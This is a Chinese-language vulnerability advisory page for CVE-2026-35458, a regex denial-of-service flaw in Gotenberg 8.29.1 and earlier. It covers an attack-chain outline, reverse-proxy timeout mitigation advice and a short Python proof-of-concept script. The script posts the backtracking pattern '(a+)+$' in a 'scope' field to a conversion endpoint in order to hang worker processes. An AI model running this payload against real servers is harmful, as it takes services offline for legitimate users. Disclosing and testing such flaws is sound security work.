IPBUF安全漏洞报告
English
CVE-2026-35458 CVSS 9.8 严重

CVE-2026-35458 Gotenberg正则表达式拒绝服务漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35458
漏洞类型
拒绝服务
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

ReDoSGotenberg拒绝服务DoS正则表达式CVSS-9.8

漏洞概述

Gotenberg在8.29.1及更早版本中,使用dlclark/regexp2库处理用户提供的范围模式时未设置超时机制。攻击者可利用此缺陷发送恶意构造的正则表达式,导致工作进程无限期挂起,从而引发拒绝服务攻击。

技术细节

该漏洞的根源在于Gotenberg在处理用户输入的scope pattern时,依赖dlclark/regexp2库进行编译,但未配置超时限制。regexp2是一个支持回溯的正则表达式引擎,当处理特定结构的恶意正则(如嵌套量词)时,会产生指数级的时间复杂度。由于缺乏超时保护,服务端工作线程在编译阶段会陷入死循环或长时间占用CPU资源,导致线程阻塞。攻击者无需认证即可通过网络发送特制数据包,持续利用此漏洞可耗尽服务器所有工作进程,导致合法请求无法处理,服务完全不可用。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用的是Gotenberg API服务,且版本在8.29.1及以下。
STEP 2
构造载荷
攻击者构造一个包含恶意正则表达式(如引发回溯攻击的模式)的HTTP请求,该正则被放置在scope参数中。
STEP 3
发送请求
攻击者向Gotenberg API端点发送该恶意请求,无需进行身份认证。
STEP 4
资源耗尽
服务器端regexp2库尝试编译该正则表达式,由于无超时限制,工作线程陷入死循环,CPU飙升至100%,导致服务挂起。
STEP 5
拒绝服务
持续发送此类请求可耗尽所有工作进程,导致合法用户无法访问服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-gotenberg:3000/forms/libreoffice/convert" # Malicious regex pattern causing ReDoS (Catastrophic Backtracking) # This pattern causes exponential backtracking in engines without timeout malicious_scope = "(a+)+$" files = {'file': ('test.txt', b'content', 'text/plain')} data = { 'scope': malicious_scope } try: print(f"[+] Sending ReDoS payload to {target_url}...") response = requests.post(target_url, files=files, data=data, timeout=5) print("[-] Request sent, server might be hanging.") except requests.exceptions.ReadTimeout: print("[+] Potential DoS successful: Server hung reading response.") except requests.exceptions.ConnectTimeout: print("[+] Potential DoS successful: Server unresponsive.") except Exception as e: print(f"Error: {e}")

影响范围

Gotenberg <= 8.29.1

防御指南

临时缓解措施
在未升级版本前,建议在反向代理(如Nginx)或WAF层设置严格的请求读取和发送超时策略,并监控API响应时间,一旦发现异常延迟自动阻断来源IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表